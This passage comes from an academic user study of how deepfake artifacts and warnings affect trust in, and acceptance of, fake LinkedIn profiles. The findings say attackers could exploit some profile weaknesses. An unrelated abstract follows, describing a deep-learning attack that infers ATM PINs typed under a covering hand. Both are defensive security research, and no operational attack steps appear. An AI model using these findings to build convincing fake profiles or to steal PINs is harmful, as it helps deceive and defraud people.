trust score. The trust score under No prompt is significantly
higher in comparison to that under Soft prompt (β = 5.187,
p < 0.05). This indicates that simply making users aware that
some profiles are algorithm generated (without revealing the
characteristics of the fake profiles) will reduce users’ trust. We
also find a significant decrease of trust when comparing Soft
prompt to Hard prompt (β =−4.447, p < 0.05). The result
implies that user training will further reduce trust by showing
what deepfake content and their artifacts look like.

To evaluate whether prompting causes a “spillover effect”
and significantly affects the trust of consistent profiles, we run
an ANOVA test. Over all consistent profiles, no statistically

10The two participants that did not disclose their demographics were
excluded from all modeling analysis.

significant differences in trust are found with respect to the
prompt conditions of No (x̄ = 76.8, s = 16.0), Soft (x̄ = 73.3,
s = 18.0), and Hard (x̄ = 72.1, s = 21.6) as determined by
a one-way ANOVA: F(2,281) = 1.595; p = 0.205. In other
words, while we find evidence that prompting decreases the
trustworthiness over all profile conditions (Table 1), we do
not find evidence that prompting significantly affects the trust-
worthiness of consistent profiles.

Observation 1: User prompting can decrease participants’
trust towards the profiles overall. However, we do not find
evidence that such an effect is significant on consistent
profiles.

A number of artifact conditions significantly decrease the
perceived trustworthiness of a profile, including intra-field
image artifacts (β =−12.334, p < 0.001), intra-field text ar-
tifacts (β =−7.207, p < 0.001), and inter-field text artifacts
(β =−10.700, p < 0.001). We do not find evidence that inter-
field image artifacts (where a photo appears younger than the
age implied in the work experience) significantly affect the
trust score. The results suggest that a range of artifacts should
be carefully handled by the attackers if they want to generate
deepfake profiles to gain users’ trust.

Finally, we find that self-reported generalized trust11 is
positively associated with the instance-specific trust rat-
ings (β = 0.388, p < 0.001), which is consistent with prior
works [64]. We find no evidence of either participant gender
or age significantly affecting the resulting trust score.

Observation 2: Intra-field artifacts (in image and text)
and inter-field text artifacts can decrease participants’ trust
towards a profile.

4.2 Profile Acceptance
After viewing and rating a profile, we ask participants whether
they would accept or ignore the connection request sent by
this profile [Q5].

Figure 6 shows the acceptance rate broken down by prompt
level and artifact condition. For No-prompt condition, the
consistent profiles have an acceptance rate of 90%; the ac-
ceptance rates of deepfake profiles (regardless the artifact
conditions) are also fairly high (79%–85%). However, for
Soft- and Hard-prompt conditions, the acceptance rate seems
to be lower for certain artifact conditions. In particular, pro-
files with intra-field image, intra-field text, and inter-field text
artifacts under Soft and Hard prompt, appear to be the least
accepted by participants with acceptance rates between 43%–
71%.

Modeling and Results. To determine the factors that signif-
icantly affect profile acceptance, we use mixed-effects logistic

11Similar to the measured trust score, the generalized trust score is a mean
aggregation of the three generalized trust factors [Q7-Q9].
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Figure 6: Request Acceptance Rate – Profiles’ request accep-
tance rates (based on Q5) under different prompt/artifact conditions.

Variable Estimate (β) Std. Err. p-value

Intercept 1.702 0.350 <0.001***

Prompt (Reference = Soft Prompt)
No Prompt 0.761 0.228 <0.001***
Hard Prompt -0.163 0.201 0.418

Artifact (Reference = Consistent)
Inter Image -0.570 0.282 0.043*
Inter Text -1.142 0.263 <0.001***
Intra Image -1.525 0.264 <0.001***
Intra Text -1.092 0.264 <0.001***

Gender (Reference = Female)
Male -0.026 0.180 0.887
Non-Binary 0.516 0.940 0.583

Age 0.025 0.047 0.589

Generalized Trust 0.023 0.006 <0.001***

Table 2: Request Acceptance Analysis – Logistic mixed ef-
fects regression model. The unit for estimate and standard error
is log odds scaled. Significance is denoted by *** (p < 0.001),
** (p < 0.01), and * (p < 0.05).

regression. Logistic regression is appropriate because the
outcome variable is binary — in our case, either profile accep-
tance (1) or rejection (0). Under this model, we include the
profile artifact, prompting condition, generalized trust, and
demographics of a participant as fixed effects and set each
participant as a random effect upon the acceptance outcome.

Table 2 shows the estimates and standard error in log odds
scaled units to represent the probability of acceptance. We
find that participants with the No prompt are associated with
significantly higher log odds of profile acceptance compared
to participants with the Soft prompt (β = 0.761, p < 0.001).
However, we do not find evidence that the Hard prompt further
significantly decreases the likelihood of acceptance compared
to the Soft prompt (β =−0.163, p = 0.418). This implies
that just making users aware that deepfake profiles exist can
already provide some degree of protection.

Observation 3: Knowledge of the existence of deepfake
profiles can already decrease participants’ likelihood to
accept connection requests.

We find that all artifact conditions led to a significant
reduction in the likelihood of request acceptance. Inter-
estingly, inter-field (β =−0.570, p < 0.05) and intra-field
(β =−1.525, p < 0.001) image artifacts show the small-
est and largest decrease on profile acceptance, respectively.
Both the inter-field (β =−1.142, p < 0.001) and intra-field
(β =−1.092, p < 0.001) text artifacts have a much closer
effect size that lies between the range of the image artifacts.

Like before, generalized trust of a participant is found to
be a significant factor that affects a participant’s likelihood
to accept the connection request (β = 0.023, p < 0.001). We
find no evidence to suggest that either participant gender or
age significantly affects profile acceptance.

Observation 4: Both intra-field artifacts and inter-field
artifacts, alongside prompting, can decrease the likelihood
of a participant accepting a friend request.

4.3 Comparison of Different Artifacts
So far, we have compared the impact of different artifacts
against the “consistent” profiles. Next, we evaluate whether
these artifacts are significantly different among one another.
To determine differences between treatments, we run a post-
hoc comparison of the estimated marginal means produced
by the models. We use the Bonferroni correction [41] because
it allows us to make multiple pairwise comparisons of treat-
ments without inflating false positives. Due to space limit, we
only summarize our main observations, and the detailed anal-
ysis results are presented in the supplementary material [65].

Overall, we do not observe a clear pattern, except that inter-
image artifacts (i.e., age inconsistencies between the profile
image and the rest of the profile) have a lower impact on trust
and acceptance than other artifacts. A possible explanation
is that it is already common for people to use a photo of
younger appearance on LinkedIn for impression management
or reduce age discrimination during job seeking [31, 51], and
thus, age inconsistencies have a lower impact on users’ trust.

5 Reasoning and Strategies of Participants

In this section, we focus on the last research question (RQ3)
and analyze participants’ open-text responses to understand
the reasons for the trust ratings of individual profiles [Q4]
and their general strategies to assess profiles [Q6]. Open re-
sponses are analyzed via thematic analysis [12]. For both
questions, a primary coder is assigned to code the collected
responses and develop a codebook. A secondary coder then
independently codes 15% of previously coded responses to
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determine inter-coder agreement via Cohens-κ. When high
agreement (κ > .7) is not reached, both coders meet up to
discuss disagreements, make codebook improvements, and
use the newly developed codebook to re-code each analyzed
response. This process is repeated until high agreement is
met. The resulting codebooks and the counts of each code
are provided in the supplementary material [65]. In total, we
code all n = 858 responses for Q4 (κ = 0.87) and n = 286
for Q6 (κ = 0.72) in our analysis12. Since we observe similar
results under Soft- and Hard-prompt conditions, we simply
refer them as “prompted” condition if not otherwise stated.

5.1 Profile Assessment Reasoning

Under each profile, we ask participants to point out aspects of
the current profile that strongly influenced their rating [Q4].
n = 858 responses are thematically coded based on whether
the participants referred to each user-interface (UI) element,
whether they mention an inconsistency, and their overall feel-
ing towards a profile.

Areas of Focus. Combining all conditions, most responses
(n=478; 56%) mention the “Experience” section as an im-
portant consideration. Participants tend to use experience to
judge the professional capabilities of a user, e.g., “the ‘Experi-
ence’ section as it indicated not only that [the user] has more
than 8 years of experience in human resources, but that the
majority of that time has been spent in his current position as
the HR manager at Bird Inc” (P108).

The second most mentioned UI is the “About” section
(n=304; 35%). Participants often use the “About” section
to assess professional and personal qualities, e.g., “well writ-
ten description [not only] highlights [the users’] experience
but her as a person” (P115).

In comparison, fewer responses mention the profile images
(n=153; 18%), “Education” section (n=139; 16%), the name
(n=6; 1%), or connection number (n=1; <1%).

The overall results suggest that participants tend to put
more attention to the “Experience” section than the “About”
and profile image sections. Note that the experience section is
highly structured. One possible explanation is that the struc-
tured list can be used as heuristics or mental shortcut, which
reduces the cognitive load. However, this also leads to an
important implication. Well-structured sections such as “Ex-
perience” are easier to generate using algorithms without
introducing artifacts. In comparison, free-format text and im-
ages are harder to generate, and yet these sections do not draw
as much user attention. The result is further supported by the
mouse tracking data (Table 3).

Comparing prompted and non-prompted groups, we ob-
serve prompting seems to slightly change participants’ area of

12We have n = 286 participants and thus receive 286 responses for Q6.
Each participant views 3 profiles and answers Q4 for each profile, which
produces 858 responses for Q4.

Metrics No Soft Hard

Profile Image (expand) 12% 17% 40%
Experience (expand) 36% 28% 30%

About (hover over) Mean 4,841 4,486 7,341
Median 611 331 989

Experience (hover over) Mean 7,760 6,646 6,584
Median 3,376 1,872 1,912

Education (hover over) Mean 1,564 1,957 1,695
Median 125 133 128

Table 3: Mouse Tracking Results – The top two rows report the
percentage of participants that clicked on the UIs to expand profile
images and the experience items. The bottom three rows report the
mouse hover-over time (median and mean) in each UI section for
“About”, “Experience”, and “Education” in milliseconds. After the
Hard prompt, users are more likely to look for artifacts in profile
images and the “About” text.

focus. For example, more participant responses mention pro-
file images and the “About” sections under the Hard prompt
than the No prompt. This observation is also supported by the
mouse tracking data (Table 3).

Observation 5: Participants pay more attention to the well-
structured lists in the “Experience” section of a profile
where generative algorithms are less likely to leave arti-
facts.

Artifacts Noticeability. To see how often artifacts are cor-
rectly noticed by participants, we focus on different artifact
conditions (over all prompt levels) to analyze their responses.

First, intra-field text artifacts (e.g., grammar errors and rep-
etitions) are noted in some responses (n=19; 13%). However,
for both unprompted and promoted participants, they often at-
tribute the artifacts to a lack of communication/writing skills.
One unprompted participant mentions: “his About section is
honest, but it contains extraneous information that make him
seem less interested in putting out a career focused LinkedIn
profile” (P189). One prompted participant notes: “the de-
scription is repetitive and doesn’t seem all that intelligent or
knowledgeable” (P59).

Intra-field image artifacts are also noted in some responses
(n = 30; 21%). For unprompted participants, while these arti-
facts cause confusion, they do not appear to greatly affect user
decision. For example, “The profile looks excellent but I am
wondering about her photo what’s going on with that?” (P43)
and “Again, it’s the photo that is bothering me. Are they wear-
ing a hat? I cannot tell” (P156). After prompting, participants
who saw such artifacts often immediately identify them as
signs of an artificial profile, e.g., “the picture is very off - this
looks like an AI-generated picture to me” (P215) and “the
hair is very weird and seems AI like” (P51).

We observe that the text and image artifacts (intra-field) ap-
pear to have different effects. Even after the Hard prompt, par-
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ticipants often have difficulties telling whether the observed
text artifacts are the result of deepfake algorithms or of poor,
but genuine, writing/communication skills. In contrast, after
prompting, it is easier for the participants to attribute image
artifacts because there are no other plausible explanations.

Observation 6: After prompting, participants can attribute
intra-field image artifacts to fake profiles. However, they
often find alternative explanations for intra-field text arti-
facts (e.g., poor writing/communication skills of the profile
owner). These alternative explanations make it difficult to
attribute intra-field text artifacts to fake profiles.

Inter-field text artifacts are also noted in some responses
(n=27; 19%). Without prompts, participants express concerns
but do not consider them as signs of fake profiles, e.g., “I was
worried that his background (legal) did not seem to match the
jobs he’s held. I am worried about his commitment” (P37).
After prompting, users are better at attributing such inter-
field inconsistencies. For example, “She is told about she was
entrepreneur and she working different projects. i guess that
this resume was fake” (P62) and “None of this persons about
section was consistent with their role at Bird Inc. It appears
to be completely fabricated or AI” (P237).

Lastly, inter-field image artifacts are hardly noticed (echo-
ing our findings in Section 4). Across all conditions, only one
participant explicitly notes this inconsistency: “The individual
looks very young in his profile image. Doesn’t really align
with what I was expecting after reading their bio and looking
over their experience and education” (P93).

Observation 7: While participants have difficulties at-
tributing intra-field text artifacts to fake profiles, they can
attribute relational inter-field text artifacts after prompting.

5.2 Unexpected Perceptions of Artifacts
While prompting did not result in a significant difference in
trust for “consistent” profiles (Observation 1), we still observe
that prompted users occasionally perceive qualities within real
images/text as signs of algorithm-generated artifacts [Q4].

Perception of Non-Existent Artifacts in Images. For pro-
files that only used real human images (n = 572), a few par-
ticipants’ responses (n=14; 2%) mention that AI-generated
artifacts in the image affect their ratings.

When shown the image in Figure 7a), one Hard-prompted
participant misinterprets the shoulder of another off-image
person as algorithm-generated artifact: “There is something
wrong with the applicant’s photo...the detail of one of her
shoulders is impossible” (P224). When shown the same im-
age, another Hard-prompted participant notes a small glint
on a tooth (likely a dental filling) and becomes suspicious:
“There is a little glitch in the corner of her mouth that makes
me wonder if an AI made the photo” (P111). Similar com-
ments appear under other real images as well.

(b) “About” Text (a) Profile Image

Professional with 7 years of experience in the field of 

Database Administration and a Masters in Computer 

Information Systems from California University of 

Management and Sciences. Have basic knowledge 

on Oracle APPS R12 Experience Administering, 

Upgrading and Maintaining Oracle 9i/10g/11g 

databases Production Database Monitoring and 

Maintenance. Exceptionally self-motivated, teamwork

oriented, well-organized, efficient work habits and 

strong interpersonal skills. Multitask oriented and the

ability to prioritize to meet deadlines. Analytical skills 

combined with outstanding leadership ability, creative

problem solving skills. Currently working as a Senior 

Oracle Database Administrator for supporting 

production and development databases in Bird Inc.

Figure 7: Unexpected Artifacts noted in Consistent Pro-
files – Examples of real image/text recognized as generated ones by
some participants.

Interestingly, some perceived artifacts stemmed from racial
and gender expectations of those in the images. When shown
one image that depicted a woman of African descent, several
participants perceive a disagreement between the name and
the demographics of the subject. Two Soft-prompted partic-
ipants note that “the picture shows a Black woman but the
name seems to belong to a White man” (P68) (the name was
Chris), and “the name also doesn’t suit the person in the im-
age” (P141) (the name was Alex). When shown a white man
with the name “Lee”, one Hard-prompted participant notes
that “the name is [of] Asian [descent], but the pic doesn’t
match” (P202).

The result suggests that after prompting, users may over-
compensate in their effort of looking for algorithm-generated
artifacts and potentially begin to make judgments based on
stereotypes. While the intention is likely benign, such behav-
iors could lead to disproportionate distrust towards real people
who defy the stereotypes held by others.

Perception of Non-Existent Artifacts in Text. For pro-
files that were free of any major grammar errors or semantic
inconsistencies (n = 570), some prompted participants (n=17;
3%) explicitly mention that AI-induced text artifacts impacted
their ratings; this never happened under the No prompt.

For example, Figure 7 shows the “About” text of a con-
sistent database administrator profile. Even so, some Hard-
prompted participants believe that there are “grammatical
errors in his bio” (P222) and “there are some typos” (P98).

Observation 8: Prompted participants sometimes over-
compensate in the process of searching for deepfake arti-
facts, which leads to mistakes such as perceiving artifacts
that do not exist or making judgments based on stereotypes.

5.3 Profile Assessment Strategies
At the end of the study, participants are asked to describe their
profile assessment strategies [Q6]. n = 286 responses are
thematically coded according to the referenced UI sections,
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personal qualities inferred from the profile, inconsistencies
noted, and the reasons for their ultimate decision.

Noted UIs. A majority of participants (n=218; 76%) men-
tion specific UI sections in their response such as “Experience”
(n=159; 56%), “About” (n=127; 44%), profile images (n=86;
30%), and “Education” (n=74; 26%). This result is consistent
with the instance-specific decisions noted in Section 5.1 and
gives more credence to Observation 5 which notes that the
well-structured experience section catches more user attention
than free-form text and images. This behavior gives deepfake
models room to make mistakes in text/image generation.

Search for Personal Qualities. Another common strategy
mentioned is to examine the personal qualities of the indi-
vidual in the profile (n=79; 28%). Most of these participants
(n=64/79) focus on the profile’s aptitude or ability, e.g., “their
abilities, qualifications and achievements played major roles
in my assessment” (P73). Some attempt to infer the under-
lying personality (n=28/79) to see if they were confident,
professional, or easygoing. To do so, one participant uses
profile text to note “the tone of how they wrote about them-
selves” (P164) while another uses their profile image to make
this deduction: “by looking at the picture of them you could
see if they were friendly or if they showed signs of stress on
their faces” (P191).

Interestingly, the prompt level appears to affect this strat-
egy. While commonly used among No-prompt participants
(n=42; 44%), searching for personal traits is less frequently
observed among Soft-prompted (n=22; 23%) and Hard-
prompted (n=15; 16%) participants.

Search for Inconsistencies. Another common strategy is
to search for inconsistencies in profiles (n=89; 31%). For
example, when searching for intra-field text inconsistencies,
some participants note specific qualities such as repetitions,
grammar mistakes, and contradictions. Others rely on their
own interpretation of fake profiles. One participant believes
fake profiles were more likely to use generic descriptions,
e.g., “I also trusted the profile that spoke ‘like a person’ and
not just a generic description” (P194).

Again, the prompt level appears to affect the use of this
strategy with respect to frequency and purpose. In terms of
frequency, this strategy is more commonly used among Hard-
prompted (n=41; 43%) and Soft-prompted participants (n=33;
35%) than unprompted participants (n=15; 16%). In terms of
purpose, prompted participants typically look at a profile “for

‘red flags’ that it could be an AI created profile” (P221); inter-
estingly, unprompted participants are not necessarily search-
ing for signs of a fake profile, but rather to determine “how
honest they were” (P266) and whether “they are willing to

‘skillfully’ stretch the truth” (P187). For this reason, under
the unprompted condition, participants mention more about
searching for disagreements between fields rather than focus-
ing on grammar errors or picture anomalies.

Observation 9:
Prompting affect participants’ profile assessment strategy.
These warnings promote strategies that look for intra-field
artifacts and demote strategies that infer the personal quali-
ties of the individual in the profile.

Reasons for Actions. While no participants explicitly note
why they would decline a request, several provided reasons
why they would be inclined to accept and even hesitant to
decline a request (n=10; 4%). One reason mentioned is the
potential benefits a good connection could provide, e.g., “how
[the user’s] experience may help me to better communicate
and work with the Bird Inc team” (P169).

Another reason is the lack of perceived risks associated
with the action: “I feel like there would be nothing to lose
from accepting any and all invitations from Bird Inc. employ-
ees” (P41).

Lastly, a group of participants noted that they feel obliged
to accept such requests from fellow employees: “These were
all future coworkers, as they are all Bird employees, so I
feel it’s incumbent upon me to accept their connection re-
quests” (P21) and “Since they’re co-workers, even ones I
haven’t met to date, I feel predisposed to accepting their re-
quests by default” (P171). Some even note how not accepting
a request could harm them: “If they had a senior position then
I would almost surely accept... It would be bad form to decline
someone as that would only hurt and not help me” (P184).

These results help to illuminate why professional social
networks are attractive for social engineering attacks. When
faced with a connection request, users not only weigh the op-
portunity cost of ignoring a valuable connection, but also the
potential negative risks such actions may cause. Furthermore,
when faced with these decisions, some participants are not
aware of how a malicious user could negatively impact them.

Observation 10: Participants make decisions by weighing
the benefits and costs of a connection. The trustworthiness
of a profile is only one of many impacting factors in ac-
cepting or ignoring a connection request.

6 Discussion

In this section, we discuss countermeasures against deepfakes,
platform moderation, and user intervention strategies. Then,
we discuss the limitations of our study and future works.

6.1 Countermeasures for Deepfake Profiles

A key takeaway from our study is that average users (un-
prompted) are overly trusting of deepfake profiles (Figure 5)
and are highly likely to accept their connection requests (with
an acceptance rate of 79%–85%). To this end, we argue that

1680    31st USENIX Security Symposium USENIX Association



individual users should not be the front line of defense. In-
stead, automated detection methods and community-based
moderation can play a bigger role.

Deepfake Profile Detection. Existing deepfake detection
methods often only focus on a specific media type [66]; there
is an opportunity to build detectors based on inter-field in-
consistencies across media modalities. From the attackers’
perspective, fully addressing inter-field inconsistencies using
generative models alone is challenging. It would require them
to develop more advanced knowledge representation meth-
ods to handle heterogeneous media types and even tackle the
open challenges in common-sense reasoning [19, 57]. These
challenges for attackers mean opportunities for defenders.

In addition, detection methods can inspect other metadata
beyond profile content. For example, by looking into IP ad-
dresses, account registration information, social connections,
and on-site activities [18, 33, 85, 90], detection methods may
detect abusive accounts even if the profiles appear authentic.
Meanwhile, intra-field deepfake image/text detection meth-
ods [7, 87, 94] can be used to analyze profile data to produce
useful features. These defenses are relatively orthogonal and
can be applied jointly for a more comprehensive defense.

Community-based Moderation. Community-based mod-
eration plays a large role in platforms such as Twitter and
Facebook to combat misinformation [26, 27, 82]. However,
our results point out nuanced challenges when using this idea
to deal with deepfake profiles. For instance, while we show
that some users are able to reason about profile consistency
at higher-level semantics (Observation 7) and that inconsis-
tencies actively affect users’ trust and actions (Observations
2 and 4), average users are likely to fail at detection. This
echoes the result from a prior work [32]. In particular, we
show that it is difficult for average users to disentangle honest
mistakes from generative errors when dealing with texts (Ob-
servation 6), a major component of most platforms’ content.
To enable effective moderation, one possible direction is for
social media platforms to identify capable users and appoint
them as community moderators (e.g., the Reddit model). This
can support expert-led crowdsourcing moderation. Recent
work shows that knowledge moderators can effectively guide
the crowd to conduct investigation tasks [84].

Empirical Measurements of Deepfake Profiles. Finally,
developing effective countermeasures requires understanding
how deepfake profiles are (and will be) used in practice. So
far, empirical investigations [5, 13, 37, 71, 72, 77] suggest that
real-world deepfake profiles are not (yet) used for large-scale
attacks but are often used for targeted purposes. This means
detection methods that focus on clustering large groups of
similar accounts/profiles (e.g., [89]) are likely to be ineffec-
tive. However, these investigations are focused on specific
campaigns and may not be representative. More systematic
measurements on deepfake profiles are needed in future works.

6.2 Intervention Strategies for Users

Our study shows a mixed result with respect to potential inter-
vention strategies for social media users. For deepfake profiles,
we show that even a Soft prompt (i.e., informing the existence
of deepfake profiles) reduces users’ trust towards such pro-
files (Observations 1 and 3) and encourages users to focus on
distinguishing features of deepfakes (Observation 9).

For legitimate profiles, however, the impact of prompting
is inconclusive. In Section 4, we find no statistically signif-
icant evidence that prompting affects users’ trust in consis-
tent profiles (Observation 1), but our qualitative results in
Section 5.2 show multiple cases where participants discredit
legitimate users based on their fixation with artifact detection
after reading deepfake tutorials (Observation 8). These mis-
takes could be due to the priming effect of the tutorials or
a belief in stereotypes (e.g., expecting certain profile names
given the inferred race and gender from profile images) which
may disproportionately affect certain user populations. As
such, we do not currently recommend social media platforms
adopt user-oriented training or warning. Instead, platforms
should focus on improving automated defenses and modera-
tion strategies to detect and remove deepfake profiles before
they can reach lay users.

6.3 Limitations

Our methodology still has a few limitations. First, recruiting
participants from MTurk may lead to certain biases in user
demographics [22] and privacy attitudes [48,78]; additionally,
we cannot guarantee participant attention (even with attention
checks). These are inherent limitations of using MTurk. Nev-
ertheless, MTurk responses have been shown to generalize
well. Recent studies show that the reported security behaviors
from MTurk generalize as well as census-representative pan-
els [76], and MTurk workers are at least as attentive as subject
pool participants [40]. Second, the role-playing methodology
might not always reflect real-world behaviors. To the best of
our ability, we follow existing guidelines [38] designed to im-
prove the generalizability of results using role playing meth-
ods. The alternative (e.g., real-world phishing experiments),
however, is challenging to execute given ethical considera-
tions. Third, our study is conducted around LinkedIn profiles.
It is possible that certain findings may not generalize to other
social networks such as Twitter and Facebook. Future work is
needed to extend the analysis to other social media platforms.
Fourth, our study focuses on the perceived profile trustwor-
thiness and likelihood to accept connection requests, which
are related to the initial stages of social engineering. Future
works may look into the effectiveness of using deepfakes to
facilitate further actions (e.g., extracting sensitive information
from target users). Finally, our study does not consider other
profile factors such as the number of mutual connections or
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location of residence. Future work may look into comparing
the effects and interactions of these factors.

7 Conclusion

In this paper, we quantitatively evaluate how deepfake arti-
facts impact the perceived trustworthiness of a social network
profile and users’ willingness to connect with it. We also ex-
plore the effects of user prompting. We find evidence that
various artifacts and all prompts significantly decrease the
trustworthiness and acceptance rate of profiles; however, users
still appear to largely fall victim to deception. We also qualita-
tively analyze users’ reasoning and strategies when assessing
a profile. We find users typically focus on well-structured
sections instead of free-form areas (that are likely to have
artifacts) and have difficulty in distinguishing text artifacts
from honest mistakes. Prompting participants may help to
recognize certain artifacts (e.g., those in images), but can lead
to negative effect such as discrediting authentic profiles. Over-
all, the results suggest the need for future research to study
defense mechanisms to protect users from deepfake profiles.
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A Survey Questions

Here, we only show the most important questions, due to
space limit. The complete list of survey questions is presented
in the supplementary material [65].

A.1 Main Tasks.
Participants are instructed to review three profiles (Database
Administrator, Human Resource Manager, and Billing Man-
ager). Under each profile, the participants answer 5 questions
(5×3 = 15 questions in total).

Q1–Q3 Based on the profile, please rate to what extent you
agree with each of these statements:

Q1 This profile is an accurate depiction of the user

• 0% (Strongly Disagree)
• 10%
• 20%
• 30%
• 40%
• 50% (Undecided)

• 60%
• 70%
• 80%
• 90%
• 100% (Strongly Agree)

Q2 This user is knowledgeable in their role as a [Database
Administrator / Human Resource Manager / Billing
Manager]
<Same scale as Q1>

Q3 This person will make newcomers feel welcome
<Same scale as Q1>

Q4 What aspect of this profile most influenced your
ratings?

Q5 Based on the profile above, would you accept or ignore
the connection request?

• Accept • Ignore

A.2 Follow-up Questions
Q6 Please describe the strategies you used to assess profiles.

Q7-Q9 Please rate to what extend you agree with each of
these statements:

Q7 In general, most people are honest
<Same scale as Q1>

Q8 In general, most people are qualified for their job
<Same scale as Q1>

Q9 In general, most people are good and kind
<Same scale as Q1>

Figure 8: Screenshot of a Profile – This example shows a “con-
sistent” profile for a Human Resources Manager used in study.

B Deepfake Profiles vs. Real-World Sybils

In our main study, all of the deepfake profiles are constructed
by us so that we can better control the experimental conditions.
A natural follow-up question is how they compare with real-
world Sybil/fake profiles in terms of the ability to gain users’
trust. In this section, we present an additional user experiment
(n = 101) we conduct to make such comparisons.

For this user study, we manually collect a set of Sybil
LinkedIn profiles. We then re-run the main user study (Sec-
tion 3) under the “No-prompt” condition where we replace
the consistent profile group with the newly collected Sybil
profiles. In this way, we can compare users’ trust and request
acceptance of Sybil profiles with our deepfake profiles.

Sybil Profile Collection. Collecting real Sybil profiles is
challenging. We are not aware of any public dataset of ground-
truth Sybil profiles. In addition, LinkedIn’s terms of use [59]
forbids (large-scale) profile crawling. To collect a set of Sybil
profiles, we take a similar approach of a prior work [6] –
we obtain Sybil profiles reported in research papers, security
blogs, and articles as well as perform a manual search and
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Figure 9: Request Acceptance Rate – We show the request
acceptance rates for our evaluated artifacts and Sybil profiles.

inspection. Using this method, we obtain 30 LinkedIn Sybil
profiles for this user study.

When collecting Sybil profiles, we manually validate their
inauthenticity using LinkedIn’s community policies as our
guideline [60]. We consider a profile as a Sybil/fake if they
meet at least one of two criteria. First, their profile photo
does not represent themselves. This can be verified using
Google reverse image search to find the sources of the photos
(e.g., stock photos). Second, their profile contains a work
history that is verifiably false (e.g., worked as a Dropbox
sales executive before the company was founded). In addition
to these determination criteria, other information can add to
the confidence of labeling. For instance, since Sybils tend
to connect with other Sybils [16], once we locate one fake
profile, we can usually locate others using the “people also
viewed” feature in LinkedIn. These Sybils often share highly
similar headers, summaries, and job experience formatting.

We also have additional considerations when selecting
Sybil profiles. First, we make sure they do not appear to use
any deepfake images/text (to the best our ability)13. Second,
we try to diversify the Sybil profiles — when we find a cluster
of similar-looking Sybil profiles, we only include one of them
in our user study set. Third, we format the Sybil profiles using
the same style as other profiles used in our main study (similar
to the one in Figure 8) to ensure formatting is not a factor that
contributes to any differences we observe between deepfake
and Sybil profiles14.

User Study and Results. We re-run the main user study
(Section 3) under the “No-prompt” condition. All configu-
rations remain the same, except we replaced the “consistent

13We use reverse-image-search to confirm the sources of the profile photos
and make sure the photos do not exhibit deepfake characteristics such as
blurry backgrounds. We also check the profile text to make sure they do not
contain any known deepfake artifacts.

14We change the profiles’ most recent company name to “Bird Inc” (to
fit within the role-playing scenario) and we omit profiles details that were
unrelated to the research goals of our study (e.g., number of connections,
skills). Studying the effect of such details can be future work.

Variable Estimate (β) Std. Err. p-value

Intercept 1.176 0.583 0.044*

Profile Type (Reference = Sybil)
Inter Image 1.456 0.524 0.005**
Inter Text 0.449 0.420 0.285
Intra Image 1.976 0.615 0.001**
Intra Text 2.519 0.775 0.001**

Gender (Reference = Female)
Male 0.240 0.344 0.485
Non-Binary – – –

Age -0.107 0.090 0.235

Generalized Trust 0.033 0.010 0.002**

Table 4: Request Acceptance Analysis – Logistic mixed ef-
fects regression model. The unit for estimate and standard error
is log odds scaled. Significance is denoted by *** (p < 0.001),
** (p < 0.01), and * (p < 0.05).

profile” with a random Sybil profile for each participant. We
collect data from n = 101 new participants via MTurk (par-
ticipants of this study cannot participate in the main study
and vice versa). We perform similar analyses as those in Sec-
tion 4. The high-level takeaway is that in general deepfake
profiles are more successful than Sybils in gaining user trust
and getting a connection request accepted.

Figure 9 shows the acceptance rate. Sybil profiles yield a
lower acceptance rate compared to different types of deepfake
profiles. For example, deepfake profiles with intra-field text
artifacts have the highest acceptance rate of 96%. The least
accepted deepfake profiles (with inter-text artifacts) still have
an acceptance rate of 76%. In comparison, Sybil profiles only
have an acceptance rate of 66%.

To examine whether such observed differences are signifi-
cant, we run the same statistical modeling as the main study15.
As shown in Table 4, we now use “Sybil” as the reference
group to compare with other deepfake profile groups. We
find significant differences between three types of deepfake
profiles and Sybil profiles. Compared to Sybil profiles, deep-
fake profiles with inter-field image artifacts, intra-field image
artifacts and intra-text artifacts have significantly higher like-
lihood of acceptance. We find no evidence that inter-field text
artifacts differ in this metric.

The trust score analysis returns similar conclusions and is
omitted for brevity.

Recall that these deepfake profiles were intentionally con-
structed to include noticeable artifacts (see Section 3.3) and
represent a worst-case scenario for attackers. In practice, at-
tackers may further reduce these artifacts via post-processing
and more careful configurations; however, even under this pes-
simistic condition, our results show that in general deepfakes
are still more likely to gain users’ trust and acceptance.

15The only non-binary participant is removed to avoid model overfitting.
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Abstract
Automated Teller Machines (ATMs) represent the most used
system for withdrawing cash. The European Central Bank
reported more than 11 billion cash withdrawals and load-
ing/unloading transactions on the European ATMs in 2019.
Although ATMs have undergone various technological evo-
lutions, Personal Identification Numbers (PINs) are still the
most common authentication method for these devices. Unfor-
tunately, the PIN mechanism is vulnerable to shoulder-surfing
attacks performed via hidden cameras installed near the ATM
to catch the PIN pad. To overcome this problem, people get
used to covering the typing hand with the other hand. While
such users probably believe this behavior is safe enough to
protect against mentioned attacks, there is no clear assessment
of this countermeasure in the scientific literature.

This paper proposes a novel attack to reconstruct PINs en-
tered by victims covering the typing hand with the other hand.
We consider the setting where the attacker can access an ATM
PIN pad of the same brand/model as the target one. Afterward,
the attacker uses that model to infer the digits pressed by the
victim while entering the PIN. Our attack owes its success to
a carefully selected deep learning architecture that can infer
the PIN from the typing hand position and movements. We
run a detailed experimental analysis including 58 users. With
our approach, we can guess 30% of the 5-digit PINs within
three attempts – the ones usually allowed by ATM before
blocking the card. We also conducted a survey with 78 users
that managed to reach an accuracy of only 7.92% on average
for the same setting. Finally, we evaluate a shielding counter-
measure that proved to be rather inefficient unless the whole
keypad is shielded.

1 Introduction

The wide deployment of various Cyber-Physical Systems
(CPS) has a significant impact on our daily lives. Unfortu-
nately, the increased use of CPS also brings more threats to
users. This is especially pronounced considering new attack

vectors that use machine learning approaches. As such, threats
become a global issue, and the need to design secure and ro-
bust systems increases. One common security mechanism in
devices like Automated Teller Machines (ATMs) and Point of
Sale (PoS) depends on the security provided by the Personal
Identification Numbers (PINs). While ATMs and PoS devices
are widely used 1, many people do not consider security risks
and defenses beyond those commonly mentioned 2: i) hide the
PIN while typing, and i) make sure no one watches the screen
(shoulder-surfing attack). In the context of financial services,
ISO 9564-1 [18] specifies the basic security principles for
PINs and PIN entry devices (e.g., PIN pads). For example,
to mitigate the shoulder surfing attacks [5, 12], the standard
indicates that i) PIN digits must not be displayed on a screen,
and ii) the duration and type of feedback sound emitted must
be the same for each key. Consequently, as a compromise
between security and usability, PIN entry systems display a
fixed symbol (e.g., a dot) to represent a digit being pressed
and provide the same audio feedback (i.e., same tone, same
duration) for all keys. Thus, the combination of security mech-
anisms enforced by standards and the common precaution
measures taken by users should provide sufficient protection.
